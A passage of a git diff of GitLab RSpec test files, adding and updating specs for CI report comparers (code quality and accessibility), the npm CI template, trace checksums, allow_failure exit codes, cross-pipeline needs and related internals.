- head_reports.add_url(url, single_error + different_error)
+ base_report.add_url(url, single_error)
+ head_report.add_url(url, single_error + different_error)
end
it 'returns an empty array' do
- expect(subject).to be_empty
+ expect(resolved_errors).to be_empty
end
end
context 'when base reports has errors and head has a different error' do
before do
- base_reports.add_url(url, single_error)
- head_reports.add_url(url, different_error)
+ base_report.add_url(url, single_error)
+ head_report.add_url(url, different_error)
end
it 'returns the resolved errors' do
- expect(subject.size).to eq(1)
- expect(subject.first["code"]).to eq("WCAG2AA.Principle4.Guideline4_1.4_1_2.H91.A.NoContent")
+ expect(resolved_errors.size).to eq(1)
+ expect(resolved_errors.first["code"]).to eq("WCAG2AA.Principle4.Guideline4_1.4_1_2.H91.A.NoContent")
end
end
context 'when base reports does not have errors and head has errors' do
before do
- head_reports.add_url(url, single_error)
+ head_report.add_url(url, single_error)
end
it 'returns an empty array' do
- expect(subject).to be_empty
+ expect(resolved_errors).to be_empty
end
end
end
diff --git a/spec/lib/gitlab/ci/reports/codequality_reports_comparer_spec.rb b/spec/lib/gitlab/ci/reports/codequality_reports_comparer_spec.rb
new file mode 100644
index 00000000000..7053d54381b
--- /dev/null
+++ b/spec/lib/gitlab/ci/reports/codequality_reports_comparer_spec.rb
@@ -0,0 +1,308 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
+ let(:comparer) { described_class.new(base_report, head_report) }
+ let(:base_report) { Gitlab::Ci::Reports::CodequalityReports.new }
+ let(:head_report) { Gitlab::Ci::Reports::CodequalityReports.new }
+ let(:degradation_1) do
+ {
+ "categories": [
+ "Complexity"
+ ],
+ "check_name": "argument_count",
+ "content": {
+ "body": ""
+ },
+ "description": "Method `new_array` has 12 arguments (exceeds 4 allowed). Consider refactoring.",
+ "fingerprint": "15cdb5c53afd42bc22f8ca366a08d547",
+ "location": {
+ "path": "foo.rb",
+ "lines": {
+ "begin": 10,
+ "end": 10
+ }
+ },
+ "other_locations": [],
+ "remediation_points": 900000,
+ "severity": "major",
+ "type": "issue",
+ "engine_name": "structure"
+ }.with_indifferent_access
+ end
+
+ let(:degradation_2) do
+ {
+ "type": "Issue",
+ "check_name": "Rubocop/Metrics/ParameterLists",
+ "description": "Avoid parameter lists longer than 5 parameters. [12/5]",
+ "categories": [
+ "Complexity"
+ ],
+ "remediation_points": 550000,
+ "location": {
+ "path": "foo.rb",
+ "positions": {
+ "begin": {
+ "column": 14,
+ "line": 10
+ },
+ "end": {
+ "column": 39,
+ "line": 10
+ }
+ }
+ },
+ "content": {
+ "body": "This cop checks for methods with too many parameters.\nThe maximum number of parameters is configurable.\nKeyword arguments can optionally be excluded from the total count."
+ },
+ "engine_name": "rubocop",
+ "fingerprint": "ab5f8b935886b942d621399f5a2ca16e",
+ "severity": "minor"
+ }.with_indifferent_access
+ end
+
+ describe '#status' do
+ subject(:report_status) { comparer.status }
+
+ context 'when head report has an error' do
+ before do
+ head_report.add_degradation(degradation_1)
+ end
+
+ it 'returns status failed' do
+ expect(report_status).to eq(described_class::STATUS_FAILED)
+ end
+ end
+
+ context 'when head report does not have errors' do
+ it 'returns status success' do
+ expect(report_status).to eq(described_class::STATUS_SUCCESS)
+ end
+ end
+ end
+
+ describe '#errors_count' do
+ subject(:errors_count) { comparer.errors_count }
+
+ context 'when head report has an error' do
+ before do
+ head_report.add_degradation(degradation_1)
+ end
+
+ it 'returns the number of new errors' do
+ expect(errors_count).to eq(1)
+ end
+ end
+
+ context 'when head report does not have an error' do
+ it 'returns zero' do
+ expect(errors_count).to be_zero
+ end
+ end
+ end
+
+ describe '#resolved_count' do
+ subject(:resolved_count) { comparer.resolved_count }
+
+ context 'when base report has an error and head has a different error' do
+ before do
+ base_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_2)
+ end
+
+ it 'counts the base report error as resolved' do
+ expect(resolved_count).to eq(1)
+ end
+ end
+
+ context 'when base report has errors head has no errors' do
+ before do
+ base_report.add_degradation(degradation_1)
+ end
+
+ it 'counts the base report errors as resolved' do
+ expect(resolved_count).to eq(1)
+ end
+ end
+
+ context 'when base report has errors and head has the same error' do
+ before do
+ base_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_1)
+ end
+
+ it 'returns zero' do
+ expect(resolved_count).to eq(0)
+ end
+ end
+
+ context 'when base report does not have errors and head has errors' do
+ before do
+ head_report.add_degradation(degradation_1)
+ end
+
+ it 'returns zero' do
+ expect(resolved_count).to be_zero
+ end
+ end
+ end
+
+ describe '#total_count' do
+ subject(:total_count) { comparer.total_count }
+
+ context 'when base report has an error' do
+ before do
+ base_report.add_degradation(degradation_1)
+ end
+
+ it 'returns zero' do
+ expect(total_count).to be_zero
+ end
+ end
+
+ context 'when head report has an error' do
+ before do
+ head_report.add_degradation(degradation_1)
+ end
+
+ it 'includes the head report error in the count' do
+ expect(total_count).to eq(1)
+ end
+ end
+
+ context 'when base report has errors and head report has errors' do
+ before do
+ base_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_2)
+ end
+
+ it 'includes errors in the count' do
+ expect(total_count).to eq(1)
+ end
+ end
+
+ context 'when base report has errors and head report has the same error' do
+ before do
+ base_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_2)
+ end
+
+ it 'includes errors in the count' do
+ expect(total_count).to eq(2)
+ end
+ end
+ end
+
+ describe '#existing_errors' do
+ subject(:existing_errors) { comparer.existing_errors }
+
+ context 'when base report has errors and head has the same error' do
+ before do
+ base_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_2)
+ end
+
+ it 'includes the base report errors' do
+ expect(existing_errors).to contain_exactly(degradation_1)
+ end
+ end
+
+ context 'when base report has errors and head has a different error' do
+ before do
+ base_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_2)
+ end
+
+ it 'returns an empty array' do
+ expect(existing_errors).to be_empty
+ end
+ end
+
+ context 'when base report does not have errors and head has errors' do
+ before do
+ head_report.add_degradation(degradation_1)
+ end
+
+ it 'returns an empty array' do
+ expect(existing_errors).to be_empty
+ end
+ end
+ end
+
+ describe '#new_errors' do
+ subject(:new_errors) { comparer.new_errors }
+
+ context 'when base report has errors and head has more errors' do
+ before do
+ base_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_2)
+ end
+
+ it 'includes errors not found in the base report' do
+ expect(new_errors).to eq([degradation_2])
+ end
+ end
+
+ context 'when base report has an error and head has no errors' do
+ before do
+ base_report.add_degradation(degradation_1)
+ end
+
+ it 'returns an empty array' do
+ expect(new_errors).to be_empty
+ end
+ end
+
+ context 'when base report does not have errors and head has errors' do
+ before do
+ head_report.add_degradation(degradation_1)
+ end
+
+ it 'returns the head report error' do
+ expect(new_errors).to eq([degradation_1])
+ end
+ end
+ end
+
+ describe '#resolved_errors' do
+ subject(:resolved_errors) { comparer.resolved_errors }
+
+ context 'when base report errors are still found in the head report' do
+ before do
+ base_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_2)
+ end
+
+ it 'returns an empty array' do
+ expect(resolved_errors).to be_empty
+ end
+ end
+
+ context 'when base report has errors and head has a different error' do
+ before do
+ base_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_2)
+ end
+
+ it 'returns the base report error' do
+ expect(resolved_errors).to eq([degradation_1])
+ end
+ end
+
+ context 'when base report does not have errors and head has errors' do
+ before do
+ head_report.add_degradation(degradation_1)
+ end
+
+ it 'returns an empty array' do
+ expect(resolved_errors).to be_empty
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/reports/codequality_reports_spec.rb b/spec/lib/gitlab/ci/reports/codequality_reports_spec.rb
new file mode 100644
index 00000000000..44e67259369
--- /dev/null
+++ b/spec/lib/gitlab/ci/reports/codequality_reports_spec.rb
@@ -0,0 +1,136 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Reports::CodequalityReports do
+ let(:codequality_report) { described_class.new }
+ let(:degradation_1) do
+ {
+ "categories": [
+ "Complexity"
+ ],
+ "check_name": "argument_count",
+ "content": {
+ "body": ""
+ },
+ "description": "Method `new_array` has 12 arguments (exceeds 4 allowed). Consider refactoring.",
+ "fingerprint": "15cdb5c53afd42bc22f8ca366a08d547",
+ "location": {
+ "path": "foo.rb",
+ "lines": {
+ "begin": 10,
+ "end": 10
+ }
+ },
+ "other_locations": [],
+ "remediation_points": 900000,
+ "severity": "major",
+ "type": "issue",
+ "engine_name": "structure"
+ }.with_indifferent_access
+ end
+
+ let(:degradation_2) do
+ {
+ "type": "Issue",
+ "check_name": "Rubocop/Metrics/ParameterLists",
+ "description": "Avoid parameter lists longer than 5 parameters. [12/5]",
+ "categories": [
+ "Complexity"
+ ],
+ "remediation_points": 550000,
+ "location": {
+ "path": "foo.rb",
+ "positions": {
+ "begin": {
+ "column": 14,
+ "line": 10
+ },
+ "end": {
+ "column": 39,
+ "line": 10
+ }
+ }
+ },
+ "content": {
+ "body": "This cop checks for methods with too many parameters.\nThe maximum number of parameters is configurable.\nKeyword arguments can optionally be excluded from the total count."
+ },
+ "engine_name": "rubocop",
+ "fingerprint": "ab5f8b935886b942d621399f5a2ca16e",
+ "severity": "minor"
+ }.with_indifferent_access
+ end
+
+ it { expect(codequality_report.degradations).to eq({}) }
+
+ describe '#add_degradation' do
+ context 'when there is a degradation' do
+ before do
+ codequality_report.add_degradation(degradation_1)
+ end
+
+ it 'adds degradation to codequality report' do
+ expect(codequality_report.degradations.keys).to eq([degradation_1[:fingerprint]])
+ expect(codequality_report.degradations.values.size).to eq(1)
+ end
+ end
+
+ context 'when a required property is missing in the degradation' do
+ let(:invalid_degradation) do
+ {
+ "type": "Issue",
+ "check_name": "Rubocop/Metrics/ParameterLists",
+ "description": "Avoid parameter lists longer than 5 parameters. [12/5]",
+ "fingerprint": "ab5f8b935886b942d621399aefkaehfiaehf",
+ "severity": "minor"
+ }.with_indifferent_access
+ end
+
+ it 'sets location as an error' do
+ codequality_report.add_degradation(invalid_degradation)
+
+ expect(codequality_report.error_message).to eq("Invalid degradation format: The property '#/' did not contain a required property of 'location'")
+ end
+ end
+ end
+
+ describe '#set_error_message' do
+ context 'when there is an error' do
+ it 'sets errors' do
+ codequality_report.set_error_message("error")
+
+ expect(codequality_report.error_message).to eq("error")
+ end
+ end
+ end
+
+ describe '#degradations_count' do
+ subject(:degradations_count) { codequality_report.degradations_count }
+
+ context 'when there are many degradations' do
+ before do
+ codequality_report.add_degradation(degradation_1)
+ codequality_report.add_degradation(degradation_2)
+ end
+
+ it 'returns the number of degradations' do
+ expect(degradations_count).to eq(2)
+ end
+ end
+ end
+
+ describe '#all_degradations' do
+ subject(:all_degradations) { codequality_report.all_degradations }
+
+ context 'when there are many degradations' do
+ before do
+ codequality_report.add_degradation(degradation_1)
+ codequality_report.add_degradation(degradation_2)
+ end
+
+ it 'returns all degradations' do
+ expect(all_degradations).to contain_exactly(degradation_1, degradation_2)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/reports/reports_comparer_spec.rb b/spec/lib/gitlab/ci/reports/reports_comparer_spec.rb
new file mode 100644
index 00000000000..1e5e4766583
--- /dev/null
+++ b/spec/lib/gitlab/ci/reports/reports_comparer_spec.rb
@@ -0,0 +1,97 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Reports::ReportsComparer do
+ let(:comparer) { described_class.new(base_report, head_report) }
+ let(:base_report) { Gitlab::Ci::Reports::CodequalityReports.new }
+ let(:head_report) { Gitlab::Ci::Reports::CodequalityReports.new }
+
+ describe '#initialize' do
+ context 'sets getter for the report comparer' do
+ it 'return base report' do
+ expect(comparer.base_report).to be_an_instance_of(Gitlab::Ci::Reports::CodequalityReports)
+ end
+
+ it 'return head report' do
+ expect(comparer.head_report).to be_an_instance_of(Gitlab::Ci::Reports::CodequalityReports)
+ end
+ end
+ end
+
+ describe '#status' do
+ subject(:status) { comparer.status }
+
+ it 'returns not implemented error' do
+ expect { status }.to raise_error(NotImplementedError)
+ end
+
+ context 'when success? is true' do
+ before do
+ allow(comparer).to receive(:success?).and_return(true)
+ end
+
+ it 'returns status success' do
+ expect(status).to eq('success')
+ end
+ end
+
+ context 'when success? is false' do
+ before do
+ allow(comparer).to receive(:success?).and_return(false)
+ end
+
+ it 'returns status failed' do
+ expect(status).to eq('failed')
+ end
+ end
+ end
+
+ describe '#success?' do
+ subject(:success?) { comparer.success? }
+
+ it 'returns not implemented error' do
+ expect { success? }.to raise_error(NotImplementedError)
+ end
+ end
+
+ describe '#existing_errors' do
+ subject(:existing_errors) { comparer.existing_errors }
+
+ it 'returns not implemented error' do
+ expect { existing_errors }.to raise_error(NotImplementedError)
+ end
+ end
+
+ describe '#resolved_errors' do
+ subject(:resolved_errors) { comparer.resolved_errors }
+
+ it 'returns not implemented error' do
+ expect { resolved_errors }.to raise_error(NotImplementedError)
+ end
+ end
+
+ describe '#errors_count' do
+ subject(:errors_count) { comparer.errors_count }
+
+ it 'returns not implemented error' do
+ expect { errors_count }.to raise_error(NotImplementedError)
+ end
+ end
+
+ describe '#resolved_count' do
+ subject(:resolved_count) { comparer.resolved_count }
+
+ it 'returns not implemented error' do
+ expect { resolved_count }.to raise_error(NotImplementedError)
+ end
+ end
+
+ describe '#total_count' do
+ subject(:total_count) { comparer.total_count }
+
+ it 'returns not implemented error' do
+ expect { total_count }.to raise_error(NotImplementedError)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/templates/npm_spec.rb b/spec/lib/gitlab/ci/templates/npm_spec.rb
new file mode 100644
index 00000000000..1f8e32ce019
--- /dev/null
+++ b/spec/lib/gitlab/ci/templates/npm_spec.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'npm.latest.gitlab-ci.yml' do
+ subject(:template) { Gitlab::Template::GitlabCiYmlTemplate.find('npm.latest') }
+
+ describe 'the created pipeline' do
+ let_it_be(:user) { create(:admin) }
+
+ let(:repo_files) { { 'package.json' => '{}', 'README.md' => '' } }
+ let(:modified_files) { %w[package.json] }
+ let(:project) { create(:project, :custom_repo, files: repo_files) }
+ let(:pipeline_branch) { project.default_branch }
+ let(:pipeline_tag) { 'v1.2.1' }
+ let(:pipeline_ref) { pipeline_branch }
+ let(:service) { Ci::CreatePipelineService.new(project, user, ref: pipeline_ref ) }
+ let(:pipeline) { service.execute!(:push) }
+ let(:build_names) { pipeline.builds.pluck(:name) }
+
+ def create_branch(name:)
+ ::Branches::CreateService.new(project, user).execute(name, project.default_branch)
+ end
+
+ def create_tag(name:)
+ ::Tags::CreateService.new(project, user).execute(name, project.default_branch, nil)
+ end
+
+ before do
+ stub_ci_pipeline_yaml_file(template.content)
+
+ create_branch(name: pipeline_branch)
+ create_tag(name: pipeline_tag)
+
+ allow_any_instance_of(Ci::Pipeline).to receive(:modified_paths).and_return(modified_files)
+ end
+
+ shared_examples 'publish job created' do
+ it 'creates a pipeline with a single job: publish' do
+ expect(build_names).to eq(%w[publish])
+ end
+ end
+
+ shared_examples 'no pipeline created' do
+ it 'does not create a pipeline because the only job (publish) is not created' do
+ expect { pipeline }.to raise_error(Ci::CreatePipelineService::CreateError, 'No stages / jobs for this pipeline.')
+ end
+ end
+
+ context 'on default branch' do
+ context 'when package.json has been changed' do
+ it_behaves_like 'publish job created'
+ end
+
+ context 'when package.json does not exist or has not been changed' do
+ let(:modified_files) { %w[README.md] }
+
+ it_behaves_like 'no pipeline created'
+ end
+ end
+
+ %w[v1.0.0 v2.1.0-alpha].each do |valid_version|
+ context "when the branch name is #{valid_version}" do
+ let(:pipeline_branch) { valid_version }
+
+ it_behaves_like 'publish job created'
+ end
+
+ context "when the tag name is #{valid_version}" do
+ let(:pipeline_tag) { valid_version }
+ let(:pipeline_ref) { pipeline_tag }
+
+ it_behaves_like 'publish job created'
+ end
+ end
+
+ %w[patch-1 my-feature-branch v1 v1.0 2.1.0].each do |invalid_version|
+ context "when the branch name is #{invalid_version}" do
+ let(:pipeline_branch) { invalid_version }
+
+ it_behaves_like 'no pipeline created'
+ end
+
+ context "when the tag name is #{invalid_version}" do
+ let(:pipeline_tag) { invalid_version }
+ let(:pipeline_ref) { pipeline_tag }
+
+ it_behaves_like 'no pipeline created'
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/trace/checksum_spec.rb b/spec/lib/gitlab/ci/trace/checksum_spec.rb
index 794794c3f69..a343d74f755 100644
--- a/spec/lib/gitlab/ci/trace/checksum_spec.rb
+++ b/spec/lib/gitlab/ci/trace/checksum_spec.rb
@@ -8,8 +8,12 @@ RSpec.describe Gitlab::Ci::Trace::Checksum do
subject { described_class.new(build) }
context 'when build pending state exists' do
+ let(:trace_details) do
+ { trace_checksum: 'crc32:d4777540', trace_bytesize: 262161 }
+ end
+
before do
- create(:ci_build_pending_state, build: build, trace_checksum: 'crc32:d4777540')
+ create(:ci_build_pending_state, build: build, **trace_details)
end
context 'when matching persisted trace chunks exist' do
@@ -22,6 +26,7 @@ RSpec.describe Gitlab::Ci::Trace::Checksum do
it 'calculates combined trace chunks CRC32 correctly' do
expect(subject.chunks_crc32).to eq 3564598592
expect(subject).to be_valid
+ expect(subject).not_to be_corrupted
end
end
@@ -32,8 +37,9 @@ RSpec.describe Gitlab::Ci::Trace::Checksum do
create_chunk(index: 2, data: 'ccccccccccccccccc')
end
- it 'makes trace checksum invalid' do
+ it 'makes trace checksum invalid but not corrupted' do
expect(subject).not_to be_valid
+ expect(subject).not_to be_corrupted
end
end
@@ -43,8 +49,9 @@ RSpec.describe Gitlab::Ci::Trace::Checksum do
create_chunk(index: 2, data: 'ccccccccccccccccc')
end
- it 'makes trace checksum invalid' do
+ it 'makes trace checksum invalid and corrupted' do
expect(subject).not_to be_valid
+ expect(subject).to be_corrupted
end
end
@@ -55,8 +62,9 @@ RSpec.describe Gitlab::Ci::Trace::Checksum do
create_chunk(index: 2, data: 'ccccccccccccccccc')
end
- it 'makes trace checksum invalid' do
+ it 'makes trace checksum invalid but not corrupted' do
expect(subject).not_to be_valid
+ expect(subject).not_to be_corrupted
end
end
@@ -99,6 +107,14 @@ RSpec.describe Gitlab::Ci::Trace::Checksum do
it 'returns nil' do
expect(subject.last_chunk).to be_nil
end
+
+ it 'is not a valid trace' do
+ expect(subject).not_to be_valid
+ end
+
+ it 'is not a corrupted trace' do
+ expect(subject).not_to be_corrupted
+ end
end
context 'when there are multiple chunks' do
@@ -110,6 +126,26 @@ RSpec.describe Gitlab::Ci::Trace::Checksum do
it 'returns chunk with the highest index' do
expect(subject.last_chunk.chunk_index).to eq 1
end
+
+ it 'is not a valid trace' do
+ expect(subject).not_to be_valid
+ end
+
+ it 'is not a corrupted trace' do
+ expect(subject).not_to be_corrupted
+ end
+ end
+ end
+
+ describe '#trace_size' do
+ before do
+ create_chunk(index: 0, data: 'a' * 128.kilobytes)
+ create_chunk(index: 1, data: 'b' * 128.kilobytes)
+ create_chunk(index: 2, data: 'abcdefg-ü')
+ end
+
+ it 'returns total trace size in bytes' do
+ expect(subject.trace_size).to eq 262154
end
end
diff --git a/spec/lib/gitlab/ci/yaml_processor_spec.rb b/spec/lib/gitlab/ci/yaml_processor_spec.rb
index fb6395e888a..5ad1b3dd241 100644
--- a/spec/lib/gitlab/ci/yaml_processor_spec.rb
+++ b/spec/lib/gitlab/ci/yaml_processor_spec.rb
@@ -231,6 +231,23 @@ module Gitlab
expect(subject[:allow_failure]).to be true
end
end
+
+ context 'when allow_failure has exit_codes' do
+ let(:config) do
+ YAML.dump(rspec: { script: 'rspec',
+ when: 'manual',
+ allow_failure: { exit_codes: 1 } })
+ end
+
+ it 'is not allowed to fail' do
+ expect(subject[:allow_failure]).to be false
+ end
+
+ it 'saves allow_failure_criteria into options' do
+ expect(subject[:options]).to match(
+ a_hash_including(allow_failure_criteria: { exit_codes: [1] }))
+ end
+ end
end
context 'when job is not a manual action' do
@@ -254,6 +271,22 @@ module Gitlab
expect(subject[:allow_failure]).to be false
end
end
+
+ context 'when allow_failure is dynamically specified' do
+ let(:config) do
+ YAML.dump(rspec: { script: 'rspec',
+ allow_failure: { exit_codes: 1 } })
+ end
+
+ it 'is not allowed to fail' do
+ expect(subject[:allow_failure]).to be false
+ end
+
+ it 'saves allow_failure_criteria into options' do
+ expect(subject[:options]).to match(
+ a_hash_including(allow_failure_criteria: { exit_codes: [1] }))
+ end
+ end
end
end
@@ -2111,6 +2144,71 @@ module Gitlab
end
end
+ describe 'cross pipeline needs' do
+ context 'when configuration is valid' do
+ let(:config) do
+ <<~YAML
+ rspec:
+ stage: test
+ script: rspec
+ needs:
+ - pipeline: $THE_PIPELINE_ID
+ job: dependency-job
+ YAML
+ end
+
+ it 'returns a valid configuration and sets artifacts: true by default' do
+ expect(subject).to be_valid
+
+ rspec = subject.build_attributes(:rspec)
+ expect(rspec.dig(:options, :cross_dependencies)).to eq(
+ [{ pipeline: '$THE_PIPELINE_ID', job: 'dependency-job', artifacts: true }]
+ )
+ end
+
+ context 'when pipeline ID is hard-coded' do
+ let(:config) do
+ <<~YAML
+ rspec:
+ stage: test
+ script: rspec
+ needs:
+ - pipeline: "123"
+ job: dependency-job
+ YAML
+ end
+
+ it 'returns a valid configuration and sets artifacts: true by default' do
+ expect(subject).to be_valid
+
+ rspec = subject.build_attributes(:rspec)
+ expect(rspec.dig(:options, :cross_dependencies)).to eq(
+ [{ pipeline: '123', job: 'dependency-job', artifacts: true }]
+ )
+ end
+ end
+ end
+
+ context 'when configuration is not valid' do
+ let(:config) do
+ <<~YAML
+ rspec:
+ stage: test
+ script: rspec
+ needs:
+ - pipeline: $THE_PIPELINE_ID
+ job: dependency-job
+ something: else
+ YAML
+ end
+
+ it 'returns an error' do
+ expect(subject).not_to be_valid
+ expect(subject.errors).to include(/:need config contains unknown keys: something/)
+ end
+ end
+ end
+
describe "Hidden jobs" do
let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config).execute }
@@ -2429,7 +2527,13 @@ module Gitlab
context 'returns errors if job allow_failure parameter is not an boolean' do
let(:config) { YAML.dump({ rspec: { script: "test", allow_failure: "string" } }) }
- it_behaves_like 'returns errors', 'jobs:rspec allow failure should be a boolean value'
+ it_behaves_like 'returns errors', 'jobs:rspec allow failure should be a hash or a boolean value'
+ end
+
+ context 'returns errors if job exit_code parameter from allow_failure is not an integer' do
+ let(:config) { YAML.dump({ rspec: { script: "test", allow_failure: { exit_codes: 'string' } } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:allow_failure exit codes should be an array of integers or an integer'
end
context 'returns errors if job stage is not a string' do
diff --git a/spec/lib/gitlab/cleanup/project_uploads_spec.rb b/spec/lib/gitlab/cleanup/project_uploads_spec.rb
index 05d744d95e2..a99bdcc9a0f 100644
--- a/spec/lib/gitlab/cleanup/project_uploads_spec.rb
+++ b/spec/lib/gitlab/cleanup/project_uploads_spec.rb
@@ -15,10 +15,10 @@ RSpec.describe Gitlab::Cleanup::ProjectUploads do
describe '#run!' do
shared_examples_for 'moves the file' do
shared_examples_for 'a real run' do
- let(:args) { [dry_run: false] }
+ let(:args) { { dry_run: false } }
it 'moves the file to its proper location' do
- subject.run!(*args)
+ subject.run!(**args)
expect(File.exist?(path)).to be_falsey
expect(File.exist?(new_path)).to be_truthy
@@ -28,13 +28,13 @@ RSpec.describe Gitlab::Cleanup::ProjectUploads do
expect(logger).to receive(:info).with("Looking for orphaned project uploads to clean up...")
expect(logger).to receive(:info).with("Did #{action}")
- subject.run!(*args)
+ subject.run!(**args)
end
end
shared_examples_for 'a dry run' do
it 'does not move the file' do
- subject.run!(*args)
+ subject.run!(**args)
expect(File.exist?(path)).to be_truthy
expect(File.exist?(new_path)).to be_falsey
@@ -44,30 +44,30 @@ RSpec.describe Gitlab::Cleanup::ProjectUploads do
expect(logger).to receive(:info).with("Looking for orphaned project uploads to clean up. Dry run...")
expect(logger).to receive(:info).with("Can #{action}")
- subject.run!(*args)
+ subject.run!(**args)
end
end
context 'when dry_run is false' do
- let(:args) { [dry_run: false] }
+ let(:args) { { dry_run: false } }
it_behaves_like 'a real run'
end
context 'when dry_run is nil' do
- let(:args) { [dry_run: nil] }
+ let(:args) { { dry_run: nil } }
it_behaves_like 'a real run'
end
context 'when dry_run is true' do
- let(:args) { [dry_run: true] }
+ let(:args) { { dry_run: true } }
it_behaves_like 'a dry run'
end
context 'with dry_run not specified' do
- let(:args) { [] }
+ let(:args) { {} }
it_behaves_like 'a dry run'
end
diff --git a/spec/lib/gitlab/config/entry/configurable_spec.rb b/spec/lib/gitlab/config/entry/configurable_spec.rb
index c72efa66024..0153cfbf091 100644
--- a/spec/lib/gitlab/config/entry/configurable_spec.rb
+++ b/spec/lib/gitlab/config/entry/configurable_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe Gitlab::Config::Entry::Configurable do
describe 'validations' do
context 'when entry is a hash' do
- let(:instance) { entry.new(key: 'value') }
+ let(:instance) { entry.new({ key: 'value' }) }
it 'correctly validates an instance' do
expect(instance).to be_valid
diff --git a/spec/lib/gitlab/cycle_analytics/events_spec.rb b/spec/lib/gitlab/cycle_analytics/events_spec.rb
index 2c5988f06b2..553f33a66c4 100644
--- a/spec/lib/gitlab/cycle_analytics/events_spec.rb
+++ b/spec/lib/gitlab/cycle_analytics/events_spec.rb
@@ -40,6 +40,9 @@ RSpec.describe 'value stream analytics events', :aggregate_failures do
before do
create_commit_referencing_issue(context)
+
+ # Adding extra duration because the new VSA backend filters out 0 durations between these columns
+ context.metrics.update!(first_mentioned_in_commit_at: context.metrics.first_associated_with_milestone_at + 1.day)
end
it 'has correct attributes' do
diff --git a/spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb b/spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb
index 719d4a69985..21503dc1501 100644
--- a/spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb
+++ b/spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe Gitlab::CycleAnalytics::StageSummary do
project.add_maintainer(user)
end
- let(:stage_summary) { described_class.new(project, options).data }
+ let(:stage_summary) { described_class.new(project, **options).data }
describe "#new_issues" do
subject { stage_summary.first }
@@ -121,7 +121,7 @@ RSpec.describe Gitlab::CycleAnalytics::StageSummary do
end
it 'does not include commit stats' do
- data = described_class.new(project, options).data
+ data = described_class.new(project, **options).data
expect(includes_commits?(data)).to be_falsy
end
diff --git a/spec/lib/gitlab/cycle_analytics/usage_data_spec.rb b/spec/lib/gitlab/cycle_analytics/usage_data_spec.rb
deleted file mode 100644
index 9ebdacb16de..00000000000
--- a/spec/lib/gitlab/cycle_analytics/usage_data_spec.rb
+++ /dev/null
@@ -1,95 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::CycleAnalytics::UsageData do
- describe '#to_json' do
- before do
- # Since git commits only have second precision, round up to the
- # nearest second to ensure we have accurate median and standard
- # deviation calculations.
- current_time = Time.at(Time.now.to_i)
-
- Timecop.freeze(current_time) do
- user = create(:user, :admin)
- projects = create_list(:project, 2, :repository)
-
- projects.each_with_index do |project, time|
- issue = create(:issue, project: project, created_at: (time + 1).hour.ago)
-
- allow_next_instance_of(Gitlab::ReferenceExtractor) do |instance|
- allow(instance).to receive(:issues).and_return([issue])
- end
-
- milestone = create(:milestone, project: project)
- mr = create_merge_request_closing_issue(user, project, issue, commit_message: "References #{issue.to_reference}")
- pipeline = create(:ci_empty_pipeline, status: 'created', project: project, ref: mr.source_branch, sha: mr.source_branch_sha, head_pipeline_of: mr)
-
- create_cycle(user, project, issue, mr, milestone, pipeline)
- deploy_master(user, project, environment: 'staging')
- deploy_master(user, project)
- end
- end
- end
-
- context 'a valid usage data result' do
- let(:expect_values_per_stage) do
- {
- issue: {
- average: 5400,
- sd: 2545,
- missing: 0
- },
- plan: {
- average: 1,
- sd: 0,
- missing: 0
- },
- code: {
- average: nil,
- sd: 0,
- missing: 2
- },
- test: {
- average: nil,
- sd: 0,
- missing: 2
- },
- review: {
- average: 0,
- sd: 0,
- missing: 0
- },
- staging: {
- average: 0,
- sd: 0,
- missing: 0
- },
- production: {
- average: 5400,
- sd: 2545,
- missing: 0
- }
- }
- end
-
- it 'returns the aggregated usage data of every selected project', :sidekiq_might_not_need_inline do
- result = subject.to_json
-
- expect(result).to have_key(:avg_cycle_analytics)
-
- CycleAnalytics::LevelBase::STAGES.each do |stage|
- expect(result[:avg_cycle_analytics]).to have_key(stage)
-
- stage_values = result[:avg_cycle_analytics][stage]
- expected_values = expect_values_per_stage[stage]
-
- expected_values.each_pair do |op, value|
- expect(stage_values).to have_key(op)
- expect(stage_values[op]).to eq(value)
- end
- end
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/danger/base_linter_spec.rb b/spec/lib/gitlab/danger/base_linter_spec.rb
new file mode 100644
index 00000000000..bd0ceb5a125
--- /dev/null
+++ b/spec/lib/gitlab/danger/base_linter_spec.rb
@@ -0,0 +1,154 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require_relative 'danger_spec_helper'
+
+require 'gitlab/danger/base_linter'
+
+RSpec.describe Gitlab::Danger::BaseLinter do
+ let(:commit_class) do
+ Struct.new(:message, :sha, :diff_parent)
+ end
+
+ let(:commit_message) { 'A commit message' }
+ let(:commit) { commit_class.new(commit_message, anything, anything) }
+
+ subject(:commit_linter) { described_class.new(commit) }
+
+ describe '#failed?' do
+ context 'with no failures' do
+ it { expect(commit_linter).not_to be_failed }
+ end
+
+ context 'with failures' do
+ before do
